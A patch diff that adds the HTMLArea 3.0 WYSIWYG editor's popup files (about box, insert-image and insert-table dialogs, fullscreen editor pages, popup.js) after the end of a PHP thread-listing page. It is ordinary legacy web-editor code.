+ {
+ $close = true;
+ unset($expanded[$id]);
+ }
+ if( $expanded[$id] )
+ {
+ $close = false;
+ }
+ else
+ {
+ $close = true;
+ }
+ $threads[] = array("ID" => $id,"content" => $category,"pos" => $pos,"parent" =>
+ $parent,"active" => $active,"closed" => $close);
+ }
+
+ $links = array(
+ "beginLevel" => "<ul>",
+ "beginLevel2" => "<ul id=\"toolbox\">",
+ "endLevel" => "</ul>",
+ "beginItem" => "<li>",
+ "beginItem2" => "<li class=\"toolboxArrow\">",
+ "endItem" => "</li>");
+if(db_numrows($res) != 0)
+ {
+ $myThread = new Thread($links);
+ $converted = $myThread->sortChilds($threads); //sort threads by parent
+ print $myThread->convertToThread($converted, $converted[0]); //print the threads
+ }
+?>
+</form>
+</td></tr>
+</table>
+<?
+footer();
+?>
--- /dev/null
+<html style="width: 380px; height: 250px;">
+<head><title>About HTMLArea</title>
+<script type="text/javascript" src="popup.js"></script>
+<script type="text/javascript">
+function closeAbout() {
+ __dlg_close(null);
+}
+</script>
+<style>
+ html,body,textarea { font-family: tahoma,verdana,arial; font-size: 11px;
+padding: 0px; margin: 0px; }
+ tt { font-size: 120%; }
+ body { padding: 0px; background: ButtonFace; color: ButtonText; }
+ a:link, a:visited { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ button { font: 11px tahoma,verdana,sans-serif; }
+</style></head>
+<body onload="__dlg_init()">
+
+<div style="background-color: #fff; color: #000; padding: 3px; border-bottom: 1px solid #000;">
+<div style="font-family: 'arial black',arial,sans-serif; font-size: 28px;
+letter-spacing: -1px;">
+<span style="position: relative; top: -0.2em">H</span><span
+style="position: relative; top: 0.1em">T</span><span
+style="position: relative; top: -0.1em">M</span><span
+style="position: relative; top: 0.2em">L</span> Area
+3.0 <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. beta ]</span></div>
+
+<div style="text-align: right; font-size: 90%; margin-bottom: 1em">
+Released on Aug 11, 2003 [21:30] GMT
+</div>
+</div>
+
+<div style="margin: 1em">
+
+<p>A free WYSIWYG editor replacement for <tt><textarea></tt> fields.</p>
+
+<p>For full source code and docs, visit:<br />
+<a href="http://www.interactivetools.com/products/htmlarea/" target="_blank"
+>http://www.interactivetools.com/products/htmlarea/</a></p>
+
+<p>Version 3.0 developed and maintained by <a href="http://students.infoiasi.ro/~mishoo/" target="_blank">mishoo</a>.</p>
+
+<p>© 2002, 2003 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc. All Rights Reserved.</p>
+
+</div>
+
+<div style="text-align: right; padding: 0px 3px 3px 0px;">
+<button type="button" onclick="closeAbout()">I agree it's cool</button>
+</div>
+
+</body></html>
+
+
--- /dev/null
+<html>
+</html>
\ No newline at end of file
--- /dev/null
+<html style="width:300px; Height: 60px;">
+ <head>
+ <title>Select Phrase</title>
+<script language="javascript">
+
+var myTitle = window.dialogArguments;
+document.title = myTitle;
+
+
+function returnSelected() {
+ var idx = document.all.textPulldown.selectedIndex;
+ var text = document.all.textPulldown[idx].text;
+
+ window.returnValue = text; // set return value
+ window.close(); // close dialog
+}
+
+</script>
+</head>
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>
+
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">
+<div align=center>
+
+<select name="textPulldown">
+<option>The quick brown</option>
+<option>fox jumps over</option>
+<option>the lazy dog.</option>
+</select>
+
+<input type="button" value=" Go " onClick="returnSelected()">
+
+</div>
+</form>
+</body></html>
\ No newline at end of file
--- /dev/null
+<html>
+ <head>
+ <title>Editor Help</title>
+ <style>
+ body, td, p, div { font-family: arial; font-size: x-small; }
+ </style>
+ </head>
+<body>
+
+<h2>Editor Help<hr></h2>
+
+Todo...
+
+
+</body>
+</html>
\ No newline at end of file
--- /dev/null
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css">
+@import url(../htmlarea.css);
+html, body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<!--
+<script type="text/javascript" src="../htmlarea.js"></script>
+<script type="text/javascript" src="../htmlarea-lang-en.js"></script>
+<script type="text/javascript" src="../dialog.js"></script>
+-->
+
+<script type="text/javascript">
+// load same scripts that were present in the opener page
+var scripts = opener.document.getElementsByTagName("script");
+var head = document.getElementsByTagName("head")[0];
+for (var i = 0; i < scripts.length; ++i) {
+ var script = scripts[i];
+ if (typeof script.src != "undefined" && /\S/.test(script.src)) {
+ // document.write("<scr" + "ipt type=" + "\"script/javascript\"");
+ // document.write(" src=\"../" + script.src + "\"></scr" + "ipt>");
+ var new_script = document.createElement("script");
+ if (/^http:/i.test(script.src)) {
+ new_script.src = script.src;
+ } else {
+ new_script.src = "../" + script.src;
+ }
+ head.appendChild(new_script);
+ }
+}
+</script>
+
+<script type="text/javascript">
+
+var parent_object = null;
+var editor = null; // to be initialized later [ function init() ]
+
+/* ---------------------------------------------------------------------- *\
+ Function :
+ Description :
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc(ev) {
+ if (document.all) {
+ // IE
+ ev = window.event;
+ }
+ if (ev.keyCode == 27) {
+ // update_parent();
+ window.close();
+ return;
+ }
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : cloneObject
+ Description : copy an object by value instead of by reference
+ Usage : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf("function Array(") == 1) {
+ newObj = obj.constructor();
+ }
+
+ // check for function objects (as usual, IE is fucked up)
+ if (obj.constructor.toString().indexOf("function Function(") == 1) {
+ newObj = obj; // just copy reference to it
+ } else for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : resize_editor
+ Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() { // resize editor to fix window
+ var newHeight;
+ if (document.all) {
+ // IE
+ newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;
+ if (newHeight < 0) { newHeight = 0; }
+ } else {
+ // Gecko
+ newHeight = window.innerHeight - editor._toolbar.offsetHeight;
+ }
+ if (editor.config.statusBar) {
+ newHeight -= editor._statusBar.offsetHeight;
+ }
+ editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : init
+ Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+ parent_object = opener.HTMLArea._object;
+ var config = cloneObject( parent_object.config );
+ config.editorURL = "../";
+ config.width = "100%";
+ config.height = "auto";
+
+ // change maximize button to minimize button
+ config.btnList["popupeditor"] = [ 'Minimize Editor', 'images/fullscreen_minimize.gif', true,
+ function() { window.close(); } ];
+
+ // generate editor and resize it
+ editor = new HTMLArea("editor", config);
+ editor.generate();
+ editor._iframe.style.width = "100%";
+ editor._textArea.style.width = "100%";
+ resize_editor();
+
+ // set child window contents and event handlers, after a small delay
+ setTimeout(function() {
+ editor.setHTML(parent_object.getInnerHTML());
+
+ // switch mode if needed
+ if (parent_object._mode == "textmode") { editor.setMode("textmode"); }
+
+ // continuously update parent editor window
+ setInterval(update_parent, 500);
+
+ // setup event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ editor._doc.body.onkeypress = _CloseOnEsc;
+ editor._textArea.onkeypress = _CloseOnEsc;
+ window.onresize = resize_editor;
+ }, 333); // give it some time to meet the new frame
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : update_parent
+ Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+ // use the fast version
+ parent_object.setHTML(editor.getInnerHTML());
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">
+<textarea name="editor" id="editor" style="width:100%; height:300px"> </textarea>
+</form>
+
+</body></html>
--- /dev/null
+<html style="width: 398; height: 218">
+
+<head>
+ <title>Insert Image</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+var preview_window = null;
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_url").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_url": "You must enter the URL",
+ "f_alt": "Please enter the alternate text"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ // pass data back to the calling window
+ var fields = ["f_url", "f_alt", "f_align", "f_border",
+ "f_horiz", "f_vert"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ if (preview_window) {
+ preview_window.close();
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ if (preview_window) {
+ preview_window.close();
+ }
+ __dlg_close(null);
+ return false;
+};
+
+function onPreview() {
+ alert("FIXME: preview needs rewritten:\n show the image inside this window instead of opening a new one.");
+ var f_url = document.getElementById("f_url");
+ var url = f_url.value;
+ if (!url) {
+ alert("You have to enter an URL first");
+ f_url.focus();
+ return false;
+ }
+ var img = new Image();
+ img.src = url;
+ var win = null;
+ if (!document.all) {
+ win = window.open("about:blank", "ha_imgpreview", "toolbar=no,menubar=no,personalbar=no,innerWidth=100,innerHeight=100,scrollbars=no,resizable=yes");
+ } else {
+ win = window.open("about:blank", "ha_imgpreview", "channelmode=no,directories=no,height=100,width=100,location=no,menubar=no,resizable=yes,scrollbars=no,toolbar=no");
+ }
+ preview_window = win;
+ var doc = win.document;
+ var body = doc.body;
+ if (body) {
+ body.innerHTML = "";
+ body.style.padding = "0px";
+ body.style.margin = "0px";
+ var el = doc.createElement("img");
+ el.src = url;
+
+ var table = doc.createElement("table");
+ body.appendChild(table);
+ table.style.width = "100%";
+ table.style.height = "100%";
+ var tbody = doc.createElement("tbody");
+ table.appendChild(tbody);
+ var tr = doc.createElement("tr");
+ tbody.appendChild(tr);
+ var td = doc.createElement("td");
+ tr.appendChild(td);
+ td.style.textAlign = "center";
+
+ td.appendChild(el);
+ win.resizeTo(el.offsetWidth + 30, el.offsetHeight + 30);
+ }
+ win.focus();
+ return false;
+};
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Image</div>
+
+<form action="" method="get">
+<table border="0" width="100%" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 7em; text-align: right">Image URL:</td>
+ <td><input type="text" name="url" id="f_url" style="width:75%"
+ title="Enter the image URL here" />
+ <button name="preview" onclick="return onPreview();"
+ title="Preview the image in a new window">Preview</button>
+ </td>
+ </tr>
+ <tr>
+ <td style="width: 7em; text-align: right">Alternate text:</td>
+ <td><input type="text" name="alt" id="f_alt" style="width:100%"
+ title="For browsers that don't support images" /></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" selected="1" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5"
+title="Leave empty for no border" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Horizontal:</div>
+<input type="text" name="horiz" id="f_horiz" size="5"
+title="Horizontal padding" />
+
+<p />
+
+<div class="fr">Vertical:</div>
+<input type="text" name="vert" id="f_vert" size="5"
+title="Vertical padding" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html style="width: 398; height: 218">
+
+<head>
+ <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_rows": "You must enter a number of rows",
+ "f_cols": "You must enter a number of columns"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+ "f_align", "f_border", "f_spacing", "f_padding"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 4em; text-align: right">Rows:</td>
+ <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td style="width: 4em; text-align: right">Cols:</td>
+ <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+ <td style="width: 4em; text-align: right">Width:</td>
+ <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+ <td><select size="1" name="unit" id="f_unit" title="Width unit">
+ <option value="%" selected="1" >Percent</option>
+ <option value="px" >Pixels</option>
+ <option value="em" >Em</option>
+ </select></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" selected="1" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; text-align: right;">
+<hr />
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head><title>Fullscreen Editor</title>
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>
+
+<script>
+
+// if we pass the "window" object as a argument and then set opener to
+// equal that we can refer to dialogWindows and popupWindows the same way
+if (window.dialogArguments) { opener = window.dialogArguments; }
+
+var _editor_url = "../";
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');
+
+var parent_objname = location.search.substring(1,location.search.length); // parent editor objname
+var parent_config = opener.document.all[parent_objname].config;
+
+var config = cloneObject( parent_config );
+var objname = 'editor'; // name of this editor
+
+// DOMViewerObj = config;
+// DOMViewerName = 'config';
+// window.open('/innerHTML/domviewer.htm');
+
+/* ---------------------------------------------------------------------- *\
+ Function :
+ Description :
+\* ---------------------------------------------------------------------- */
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) {
+ update_parent();
+ window.close();
+ return;
+ }
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : cloneObject
+ Description : copy an object by value instead of by reference
+ Usage : var newObj = cloneObject(oldObj);
+\* ---------------------------------------------------------------------- */
+
+function cloneObject(obj) {
+ var newObj = new Object;
+
+ // check for array objects
+ if (obj.constructor.toString().indexOf('function Array(') == 1) {
+ newObj = obj.constructor();
+ }
+
+ for (var n in obj) {
+ var node = obj[n];
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }
+ else { newObj[n] = node; }
+ }
+
+ return newObj;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : resize_editor
+ Description : resize the editor when the user resizes the popup
+\* ---------------------------------------------------------------------- */
+
+function resize_editor() { // resize editor to fix window
+ var editor = document.all['_editor_editor'];
+
+ newWidth = document.body.offsetWidth;
+ newHeight = document.body.offsetHeight - editor.offsetTop;
+
+ if (newWidth < 0) { newWidth = 0; }
+ if (newHeight < 0) { newHeight = 0; }
+
+ editor.style.width = newWidth;
+ editor.style.height = newHeight;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : init
+ Description : run this code on page load
+\* ---------------------------------------------------------------------- */
+
+function init() {
+ // change maximize button to minimize button
+ config.btnList["popupeditor"] = ['popupeditor', 'Minimize Editor', 'update_parent(); window.close();', 'fullscreen_minimize.gif'];
+
+ // set htmlmode button to refer to THIS editor
+ config.btnList["htmlmode"] = ['HtmlMode', 'View HTML Source', 'editor_setmode(\'editor\')', 'ed_html.gif'];
+
+ // change image url to be relative to current path
+ config.imgURL = "../images/";
+
+ // generate editor and resize it
+ editor_generate('editor', config);
+ resize_editor();
+
+ // switch mode if needed
+ if (parent_config.mode == 'textedit') { editor_setmode(objname, 'textedit'); }
+
+ // set child window contents
+ var parentHTML = opener.editor_getHTML(parent_objname);
+ editor_setHTML(objname, parentHTML);
+
+ // continuously update parent editor window
+ window.setInterval(update_parent, 333);
+
+ // setup event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ window.onresize = resize_editor;
+}
+
+/* ---------------------------------------------------------------------- *\
+ Function : update_parent
+ Description : update parent window editor field with contents from child window
+\* ---------------------------------------------------------------------- */
+
+function update_parent() {
+ var childHTML = editor_getHTML(objname);
+ opener.editor_setHTML(parent_objname, childHTML);
+}
+
+
+</script>
+</head>
+<body scroll="no" onload="init()" onunload="update_parent()">
+
+<div style="margin: 0 0 0 0; border-width: 1; border-style: solid; border-color: threedshadow threedhighlight threedhighlight threedshadow; "></div>
+
+<textarea name="editor" style="width:100%; height:300px"></textarea><br>
+
+</body></html>
\ No newline at end of file
--- /dev/null
+<!-- based on insimage.dlg -->
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML 3.2//EN">
+<HTML id=dlgImage STYLE="width: 432px; height: 194px; ">
+<HEAD>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta http-equiv="MSThemeCompatible" content="Yes">
+<TITLE>Insert Image</TITLE>
+<style>
+ html, body, button, div, input, select, fieldset { font-family: MS Shell Dlg; font-size: 8pt; position: absolute; };
+</style>
+<SCRIPT defer>
+
+function _CloseOnEsc() {
+ if (event.keyCode == 27) { window.close(); return; }
+}
+
+function _getTextRange(elm) {
+ var r = elm.parentTextEdit.createTextRange();
+ r.moveToElementText(elm);
+ return r;
+}
+
+window.onerror = HandleError
+
+function HandleError(message, url, line) {
+ var str = "An error has occurred in this dialog." + "\n\n"
+ + "Error: " + line + "\n" + message;
+ alert(str);
+ window.close();
+ return true;
+}
+
+function Init() {
+ var elmSelectedImage;
+ var htmlSelectionControl = "Control";
+ var globalDoc = window.dialogArguments;
+ var grngMaster = globalDoc.selection.createRange();
+
+ // event handlers
+ document.body.onkeypress = _CloseOnEsc;
+ btnOK.onclick = new Function("btnOKClick()");
+
+ txtFileName.fImageLoaded = false;
+ txtFileName.intImageWidth = 0;
+ txtFileName.intImageHeight = 0;
+
+ if (globalDoc.selection.type == htmlSelectionControl) {
+ if (grngMaster.length == 1) {
+ elmSelectedImage = grngMaster.item(0);
+ if (elmSelectedImage.tagName == "IMG") {
+ txtFileName.fImageLoaded = true;
+ if (elmSelectedImage.src) {
+ txtFileName.value = elmSelectedImage.src.replace(/^[^*]*(\*\*\*)/, "$1"); // fix placeholder src values that editor converted to abs paths
+ txtFileName.intImageHeight = elmSelectedImage.height;
+ txtFileName.intImageWidth = elmSelectedImage.width;
+ txtVertical.value = elmSelectedImage.vspace;
+ txtHorizontal.value = elmSelectedImage.hspace;
+ txtBorder.value = elmSelectedImage.border;
+ txtAltText.value = elmSelectedImage.alt;
+ selAlignment.value = elmSelectedImage.align;
+ }
+ }
+ }
+ }
+ txtFileName.value = txtFileName.value || "http://";
+ txtFileName.focus();
+}
+
+function _isValidNumber(txtBox) {
+ var val = parseInt(txtBox);
+ if (isNaN(val) || val < 0 || val > 999) { return false; }
+ return true;
+}
+
+function btnOKClick() {
+ var elmImage;
+ var intAlignment;
+ var htmlSelectionControl = "Control";
+ var globalDoc = window.dialogArguments;
+ var grngMaster = globalDoc.selection.createRange();
+
+ // error checking
+
+ if (!txtFileName.value || txtFileName.value == "http://") {
+ alert("Image URL must be specified.");
+ txtFileName.focus();
+ return;
+ }
+ if (txtHorizontal.value && !_isValidNumber(txtHorizontal.value)) {
+ alert("Horizontal spacing must be a number between 0 and 999.");
+ txtHorizontal.focus();
+ return;
+ }
+ if (txtBorder.value && !_isValidNumber(txtBorder.value)) {
+ alert("Border thickness must be a number between 0 and 999.");
+ txtBorder.focus();
+ return;
+ }
+ if (txtVertical.value && !_isValidNumber(txtVertical.value)) {
+ alert("Vertical spacing must be a number between 0 and 999.");
+ txtVertical.focus();
+ return;
+ }
+
+ // delete selected content and replace with image
+ if (globalDoc.selection.type == htmlSelectionControl && !txtFileName.fImageLoaded) {
+ grngMaster.execCommand('Delete');
+ grngMaster = globalDoc.selection.createRange();
+ }
+
+ idstr = "\" id=\"556e697175657e537472696e67"; // new image creation ID
+ if (!txtFileName.fImageLoaded) {
+ grngMaster.execCommand("InsertImage", false, idstr);
+ elmImage = globalDoc.all['556e697175657e537472696e67'];
+ elmImage.removeAttribute("id");
+ elmImage.removeAttribute("src");
+ grngMaster.moveStart("character", -1);
+ } else {
+ elmImage = grngMaster.item(0);
+ if (elmImage.src != txtFileName.value) {
+ grngMaster.execCommand('Delete');
+ grngMaster = globalDoc.selection.createRange();
+ grngMaster.execCommand("InsertImage", false, idstr);
+ elmImage = globalDoc.all['556e697175657e537472696e67'];
+ elmImage.removeAttribute("id");
+ elmImage.removeAttribute("src");
+ grngMaster.moveStart("character", -1);
+ txtFileName.fImageLoaded = false;
+ }
+ grngMaster = _getTextRange(elmImage);
+ }
+
+ if (txtFileName.fImageLoaded) {
+ elmImage.style.width = txtFileName.intImageWidth;
+ elmImage.style.height = txtFileName.intImageHeight;
+ }
+
+ if (txtFileName.value.length > 2040) {
+ txtFileName.value = txtFileName.value.substring(0,2040);
+ }
+
+ elmImage.src = txtFileName.value;
+
+ if (txtHorizontal.value != "") { elmImage.hspace = parseInt(txtHorizontal.value); }
+ else { elmImage.hspace = 0; }
+
+ if (txtVertical.value != "") { elmImage.vspace = parseInt(txtVertical.value); }
+ else { elmImage.vspace = 0; }
+
+ elmImage.alt = txtAltText.value;
+
+ if (txtBorder.value != "") { elmImage.border = parseInt(txtBorder.value); }
+ else { elmImage.border = 0; }
+
+ elmImage.align = selAlignment.value;
+ grngMaster.collapse(false);
+ grngMaster.select();
+ window.close();
+}
+</SCRIPT>
+</HEAD>
+<BODY id=bdy onload="Init()" style="background: threedface; color: windowtext;" scroll=no>
+
+<DIV id=divFileName style="left: 0.98em; top: 1.2168em; width: 7em; height: 1.2168em; ">Image URL:</DIV>
+<INPUT ID=txtFileName type=text style="left: 8.54em; top: 1.0647em; width: 21.5em;height: 2.1294em; " tabIndex=10 onfocus="select()">
+
+<DIV id=divAltText style="left: 0.98em; top: 4.1067em; width: 6.58em; height: 1.2168em; ">Alternate Text:</DIV>
+<INPUT type=text ID=txtAltText tabIndex=15 style="left: 8.54em; top: 3.8025em; width: 21.5em; height: 2.1294em; " onfocus="select()">
+
+<FIELDSET id=fldLayout style="left: .9em; top: 7.1em; width: 17.08em; height: 7.6em;">
+<LEGEND id=lgdLayout>Layout</LEGEND>
+</FIELDSET>
+
+<FIELDSET id=fldSpacing style="left: 18.9em; top: 7.1em; width: 11em; height: 7.6em;">
+<LEGEND id=lgdSpacing>Spacing</LEGEND>
+</FIELDSET>
+
+<DIV id=divAlign style="left: 1.82em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Alignment:</DIV>
+<SELECT size=1 ID=selAlignment tabIndex=20 style="left: 10.36em; top: 8.8218em; width: 6.72em; height: 1.2168em; ">
+<OPTION id=optNotSet value=""> Not set </OPTION>
+<OPTION id=optLeft value=left> Left </OPTION>
+<OPTION id=optRight value=right> Right </OPTION>
+<OPTION id=optTexttop value=textTop> Texttop </OPTION>
+<OPTION id=optAbsMiddle value=absMiddle> Absmiddle </OPTION>
+<OPTION id=optBaseline value=baseline SELECTED> Baseline </OPTION>
+<OPTION id=optAbsBottom value=absBottom> Absbottom </OPTION>
+<OPTION id=optBottom value=bottom> Bottom </OPTION>
+<OPTION id=optMiddle value=middle> Middle </OPTION>
+<OPTION id=optTop value=top> Top </OPTION>
+</SELECT>
+
+<DIV id=divHoriz style="left: 19.88em; top: 9.126em; width: 4.76em; height: 1.2168em; ">Horizontal:</DIV>
+<INPUT ID=txtHorizontal style="left: 24.92em; top: 8.8218em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=25 onfocus="select()">
+
+<DIV id=divBorder style="left: 1.82em; top: 12.0159em; width: 8.12em; height: 1.2168em; ">Border Thickness:</DIV>
+<INPUT ID=txtBorder style="left: 10.36em; top: 11.5596em; width: 6.72em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=21 onfocus="select()">
+
+<DIV id=divVert style="left: 19.88em; top: 12.0159em; width: 3.64em; height: 1.2168em; ">Vertical:</DIV>
+<INPUT ID=txtVertical style="left: 24.92em; top: 11.5596em; width: 4.2em; height: 2.1294em; ime-mode: disabled;" type=text size=3 maxlength=3 value="" tabIndex=30 onfocus="select()">
+
+<BUTTON ID=btnOK style="left: 31.36em; top: 1.0647em; width: 7em; height: 2.2em; " type=submit tabIndex=40>OK</BUTTON>
+<BUTTON ID=btnCancel style="left: 31.36em; top: 3.6504em; width: 7em; height: 2.2em; " type=reset tabIndex=45 onClick="window.close();">Cancel</BUTTON>
+
+</BODY>
+</HTML>
\ No newline at end of file
--- /dev/null
+function __dlg_onclose() {
+ if (!document.all) {
+ opener.Dialog._return(null);
+ }
+};
+
+function __dlg_init() {
+ if (!document.all) {
+ // init dialogArguments, as IE gets it
+ window.dialogArguments = opener.Dialog._arguments;
+ window.sizeToContent();
+ window.sizeToContent(); // for reasons beyond understanding,
+ // only if we call it twice we get the
+ // correct size.
+ window.addEventListener("unload", __dlg_onclose, true);
+ // center on parent
+ var px1 = opener.screenX;
+ var px2 = opener.screenX + opener.outerWidth;
+ var py1 = opener.screenY;
+ var py2 = opener.screenY + opener.outerHeight;
+ var x = (px2 - px1 - window.outerWidth) / 2;
+ var y = (py2 - py1 - window.outerHeight) / 2;
+ window.moveTo(x, y);
+ var body = document.body;
+ window.innerHeight = body.offsetHeight;
+ window.innerWidth = body.offsetWidth;
+ } else {
+ var body = document.body;
